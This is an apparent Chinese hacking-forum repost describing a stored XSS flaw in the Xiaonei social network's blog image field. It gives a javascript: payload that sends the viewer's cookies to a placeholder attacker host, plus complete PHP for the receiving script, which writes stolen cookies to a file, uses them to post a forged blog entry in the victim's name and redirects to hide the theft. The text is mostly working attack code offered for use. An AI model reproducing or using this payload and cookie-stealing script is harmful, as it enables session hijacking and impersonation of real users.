校内网最新 xss Cookies得到密码
From:http://t00ls.net/viewthread.php?tid=1323&highlight= <br /><br />校内网在发blog时对插入图片过滤不严格，存在xss漏洞. <br /><br />在发blog时将插入图片URL写为如下代码即可触发：普通浏览复制代码打印代码 <br />javascript:window.location.href='http://www.xxx.com/test.<SPAN class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</SPAN>?cookie='+document.cookie <br /><br />javascript:window.location.href='http://www.xxx.com/test.php?cookie='+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码 <br /><?php <br />ob_start(); <br />$url = 'blog.xiaonei.com'; <br />$cookie=$_GET['cookie']; <br />$cookie1=$cookie."\r\n\r\n"; <br />fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt <br />//发一条伪造的日志，这条日志里面也可以插入恶意代码 <br />$sock = fsockopen("$url", 80, $errno, $errstr, 30); <br />if (!$sock) die("$errstr ($errno)\n"); <br />$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe="; <br />fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n"); <br />fwrite($sock, "Accept: */*\r\n"); <br />fwrite($sock, "Referer: http://$url\r\n"); <br />fwrite($sock, "Accept-Language: zh-cn\r\n"); <br />fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n"); <br />fwrite($sock, "Accept-Encoding: gzip, deflate\r\n"); <br />fwrite($sock, "User-Agent: Mozilla\r\n"); <br />fwrite($sock, "Host: $url\r\n"); <br />fwrite($sock, "Content-Length: ".strlen($data)."\r\n"); <br />fwrite($sock, "Connection: Keep-Alive\r\n"); <br />fwrite($sock, "Cache-Control: no-cache\r\n"); <br />fwrite($sock, "Cookie:".$cookie."\r\n\r\n"); <br />fwrite($sock, $data); <br />$headers = ""; <br />while ($str = trim(fgets($sock, 4096))) <br />$headers .= "$str\n"; <br />echo "\n"; <br />$body = ""; <br />while (!feof($sock)) <br />$body .= fgets($sock, 4096); <br />fclose($sock); <br />//echo $body; <br />//跳转到一个正常的日志 <br />Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx"); <br />ob_end_flush(); <br />?> <br /><br />
頁:
[1]